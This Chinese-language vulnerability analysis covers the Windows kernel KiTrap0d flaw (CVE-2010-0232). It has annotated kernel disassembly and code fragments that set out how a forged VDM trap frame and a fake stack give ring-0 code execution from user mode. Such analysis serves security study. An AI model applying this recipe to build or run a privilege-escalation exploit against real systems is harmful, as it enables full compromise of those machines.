#GP 异常处理函数设计缺陷引发的漏洞(CVE-2010-0232)
漏洞描述
在16位应用程序中,为了支持bios 服务例程,windows nt内核支持 virtual-8086模式下的bios调用的概念。在v86模式下内核通过触发一个#GP异常来实现bios调用,在KiTrap0d(#GP通用保护异常处理函数)内, 当KTRAP_FRAME.SegCs 等于0x0B 且 KTRAP_FRAME.Eip 等于Ki386BiosCallReturnAddress时,会跳到Ki386BiosCallReturnAddress函数, 此函数会使用KTRAP_FRAME.ESI作为栈指针进行堆栈操作,但是没有进行合法性检查,当KTRAP_FRAME.ESI的值可以被我们控制时,会造成以ring0 权限执行任意代码。此漏洞通过VDM伪造Trap Frame, 在iret 执行时 ,触发#GP异常 进而触发漏洞。
为了绕过检查最终触发漏洞,需要解决以下3点:
- 设置TEB->Vdm->Conext需要SeTcbPrivilege权限。
- ring 3下,不能设置cs为任意值。
- ring 3下,不能伪造Trap Frame.
在NtVdmControl系统服务中,创建一个VDM conext需要设置EPROCESS->Flags.VdmAllowed。VdmAllowed仅可以通过NtSetInformationProcess设置,此函数会检查调用者是否具有 SeTcbPrivilege权限,通过建立一个ntvdm子系统,然后使用CreateRemoteThread在子系统上下文环境下执行一个线程,此标志会被设置,可以解决第一点。
cpl通常为cs和ss的低两位,表示当前任务的特权级。而在Virtual-8086模式下cs用来进行寻址操作,因此在V86模式下,可以设置cpl为任意值。
通过iret返回到用户模式,需要两个阶段,分为 pre-mommit和post-commit两个阶段。 可以通过NTVdmControl来设置一个Vdm Conext, 通过设置context的flags.TF位,使 pre-commit失败,因此可以伪造一个陷阱帧。
漏洞分析
当执行NtVdmControl(VdmStartExecution, NULL)时 , NtVdmControl –> nt!VdmpStartExecution, 会调用 nt!VdmpGetVdmTib来获取VdmTib,并检查我们的VdmTib.Size (TEB->Vdm);
kd> uf nt!VdmpGetVdmTib
nt!VdmpGetVdmTib:
80980bd8 6a18 push 18h
80980bda 6890a78080 push offset nt!`string'+0xfc8 (8080a790)
80980bdf e8d03fefff call nt!__SEH_prolog (80874bb4)
80980be4 33d2 xor edx,edx
80980be6 8955e4 mov dword ptr [ebp-1Ch],edx
80980be9 8955fc mov dword ptr [ebp-4],edx
80980bec 64a118000000 mov eax,dword ptr fs:[00000018h] ; _KPCR->_NT_TIB->Self指向用户层的TEB
80980bf2 8b80180f0000 mov eax,dword ptr [eax+0F18h] ; _TEB->Vdm
80980bf8 8945e0 mov dword ptr [ebp-20h],eax ; 保存起来
80980bfb 3bc2 cmp eax,edx
80980bfd 7509 jne nt!VdmpGetVdmTib+0x30 (80980c08)
nt!VdmpGetVdmTib+0x27:
80980bff c745e4010000c0 mov dword ptr [ebp-1Ch],0C0000001h
80980c06 eb31 jmp nt!VdmpGetVdmTib+0x61 (80980c39)
nt!VdmpGetVdmTib+0x30:
80980c08 8945d8 mov dword ptr [ebp-28h],eax
80980c0b 8b0d98e28880 mov ecx,dword ptr [nt!MmUserProbeAddress (8088e298)]
80980c11 3bc1 cmp eax,ecx ; 测试_TEB->VDM是否为用户层地址
80980c13 7202 jb nt!VdmpGetVdmTib+0x3f (80980c17)
nt!VdmpGetVdmTib+0x3d:
80980c15 8811 mov byte ptr [ecx],dl
nt!VdmpGetVdmTib+0x3f:
80980c17 8a08 mov cl,byte ptr [eax] ; 如果Vdm地址合法,跳到这里
80980c19 8808 mov byte ptr [eax],cl
80980c1b 8d8877060000 lea ecx,[eax+677h]
80980c21 8a19 mov bl,byte ptr [ecx] ; 这两条指令测试读写内存是否合法
80980c23 8819 mov byte ptr [ecx],bl ;
80980c25 813878060000 cmp dword ptr [eax],678h ; 这里检查VdmTib.Size
80980c2b 740c je nt!VdmpGetVdmTib+0x61 (80980c39)
nt!VdmpGetVdmTib+0x55:
80980c2d c745e4010000c0 mov dword ptr [ebp-1Ch],0C0000001h
80980c34 33c0 xor eax,eax
80980c36 8945e0 mov dword ptr [ebp-20h],eax
nt!VdmpGetVdmTib+0x61:
80980c39 834dfcff or dword ptr [ebp-4],0FFFFFFFFh
80980c3d 8b4d08 mov ecx,dword ptr [ebp+8]
80980c40 8901 mov dword ptr [ecx],eax ; 将VdmTib的地址存放到第一个参数指向的地址处
80980c42 8b45e4 mov eax,dword ptr [ebp-1Ch] ; 返回值
80980c45 eb18 jmp nt!VdmpGetVdmTib+0x87 (80980c5f)
nt!VdmpGetVdmTib+0x87:
80980c5f e88b3fefff call nt!__SEH_epilog (80874bef)
80980c64 c20400 ret 4
Thread Information Block for VDMThreads
typedef struct _Vdm_Tib {
ULONG Size; // 会在nt!VdmpGetVdmTib中检查
PVDM_INTERRUPTHANDLER VdmInterruptTable;
PVDM_FAULTHANDLER VdmFaultTable;
CONTEXT MonitorContext;
CONTEXT VdmContext; // 会在后面用到
VDMEVENTINFO EventInfo;
VDM_PRINTER_INFO PrinterInfo;
ULONG TempArea1[2];
ULONG TempArea2[2];
VDMTRACEINFO TraceInfo;
ULONG IntelMSW;
LONG NumTasks;
PFAMILY_TABLE *pDpmFamTbls;
BOOLEAN ContinueExecution;
} VdmTib = {0};
TEB->Vdm 这里可以设置我们自己构造的VDM_TIB结构体
*NtCurrentTeb()->Reserved4 =&VdmTib;
之后nt!VdmpStartExecution 会调用 nt!VdmSwapContexts。而在nt!VdmSwapContexts函数中会修改KiFastCallEntry创建的陷阱帧(trap frame)。将trap frame修改为我们的VdmTib.VdmContext, 见以下代码实现:
nt!VdmSwapContexts(PKTRAP_FRAME TrapFrame,PCONTEXT MonitorContext, PCONTEXT VdmContext) {
TrapFrame->SegCs = VdmContext->SegCs;
TrapFrame->HardwareSegSs = VdmContext->SegSs;
TrapFrame->Eax = VdmContext->Eax;
TrapFrame->Ebx = VdmContext->Ebx;
TrapFrame->Ecx = VdmContext->Ecx;
TrapFrame->Edx = VdmContext->Edx;
TrapFrame->Esi = VdmContext->Esi;
TrapFrame->Edi = VdmContext->Edi;
TrapFrame->Ebp = VdmContext->Ebp;
TrapFrame->HardwareEsp = VdmContext->Esp;
TrapFrame->Eip = VdmContext->Eip;
TrapFrame->SegCs |= RPL_MASK;
TrapFrame->HardwareSegSs |= RPL_MASK;
/*Check for bogus CS */
if(TrapFrame->SegCs < KGDT_R0_CODE) {
/* Set user-mode */
TrapFrame->SegCs = KGDT_R3_CODE | RPL_MASK;
}
}
因此trap frame可以被我们控制,在返回ring3时会调用 iret指令。
根据intel手册,可知:
在cpu执行iret过程中,EFLAG寄存器的TF和VM标志位可影响执行结果,
当vm=1时将在v86模式下创建任务,当tf=1时,可引发 #GP异常。
设置如下,会导致一个#GP异常:
VdmTib.VdmContext.EFlags = EFLAGS_TF_MASK;
当#GP异常发生时,CPU运行在RING0,且此时堆栈并没有切换(因为没有进行特权级切换),即陷阱帧保持不变。
在KiTrap0d(#GP通用保护异常处理函数)内:
nt!KiTrap0D+0x22f:
8053ff8f b842015080 mov eax,offset nt!Ki386BiosCallReturnAddress(80500142)
8053ff94 3b02 cmp eax,dword ptr [edx] ; edx = KTRAP_FRAME.Eip (VdmContext->eip)
8053ff96 750e jne nt!KiTrap0D+0x246 (8053ffa6)
8053ff98 8b4204 mov eax,dword ptr [edx+4] ; edx+4 = KTRAP_FRAME.SegCs (VdmContext->SegCs)
8053ff9b 6683f80b cmp ax,0Bh
8053ff9f 7505 jne nt!KiTrap0D+0x246 (8053ffa6)
8053ffa1 e99c01fcff jmp nt!Ki386BiosCallReturnAddress (80500142)
由上代码可知:只要构造如下,执行流程就会跳到Ki386BiosCallReturnAddress:
Tib.VdmContext.SegCs = 0x0B;
Tib.VdmContext.Eip = Ki386BiosCallReturnAddress;
当执行到Ki386BiosCallReturnAddress, 见 下面代码分析:
Ki386BiosCallReturnAddress
.text:0043C3CE Ki386BiosCallReturnAddressproc near
.text:0043C3CE mov eax, large fs:KPCR.SelfPcr ; kpcr[SelfPcr] 指向_KPCR
.text:0043C3D4 mov edi, [ebp+KTRAP_FRAME.Esi]
.text:0043C3D7 mov edi, [edi]
.text:0043C3D9 mov esi, [eax+KPCR.NtTib.StackBase] ; esi指向_NT_TIB.StackBase
.text:0043C3DC mov ecx, 84h
.text:0043C3E1 mov [eax+KPCR.NtTib.StackBase], edi
.text:0043C3E4 rep movsd
.text:0043C3E6 mov esp, [ebp+KTRAP_FRAME.Esi] ; 此时esp指向trap fram的esi,即VdmContext->Esi
.text:0043C3E9 add esp, 4 ; esp+4
.text:0043C3EC mov ecx, [eax+KPCR.PrcbData.CurrentThread]
;_KPCR.PrcbData.CurrentThread (KTHREAD)
.text:0043C3F2 mov [ecx+KTHREAD.InitialStack], edi
;_KTHREAD.InitialStack = _NT_TIB.StackBase
.text:0043C3F5 mov eax, [eax+KPCR.TSS]
.text:0043C3F8 sub edi, 220h
.text:0043C3FE mov [eax+KTSS.Esp0], edi
.text:0043C401 pop edx ; esp+4
.text:0043C402 mov [ecx+KTHREAD.Teb], edx
.text:0043C405 pop edx ; esp+4
.text:0043C406 mov large fs:KPCR.NtTib.Self, edx
.text:0043C40D mov ebx, large fs:KPCR.GDT
.text:0043C414 mov [ebx+3Ah], dx
.text:0043C418 shr edx, 10h
.text:0043C41B mov byte ptr [ebx+3Ch], dl
.text:0043C41E mov [ebx+3Fh], dh
.text:0043C421 sti
.text:0043C422 pop edi ; esp+4
.text:0043C423 pop esi ; esp+4
.text:0043C424 pop ebx ; esp+4
.text:0043C425 pop ebp ; esp+4
.text:0043C426 retn 4
由以上代码可知: 当Tib.VdmContext.Esi 指向 如下所示伪造的栈时, Ki386BiosCallReturnAddress返回时, 会跳到被我们控制的eip处,并且此时cpl=0,即特权级为0执行eip处的代码。
KernelStack==> | 0 | 1 | 2 | 3 | 4 | 5 | 6 | eip |
+4 +4 +4 +4 +4 +4 +4